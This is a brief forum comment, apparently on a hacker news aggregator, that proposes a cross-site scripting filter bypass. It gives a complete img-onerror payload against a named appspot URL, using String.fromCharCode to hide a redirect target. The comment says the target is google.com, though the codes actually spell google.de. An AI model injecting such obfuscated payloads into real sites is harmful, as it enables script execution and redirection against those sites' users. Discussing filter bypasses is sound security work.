News for hackers. Stuff that matters.

omgpeaches

Well, you could bypass that by using String.fromCharCode() eventually?

i.e.

https://igot99inputs.appspot.com/andthisainttwo<img src=x onerror=document.location.href=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,103,111,111,103,108,101,46,100,101); >

(that's google.com)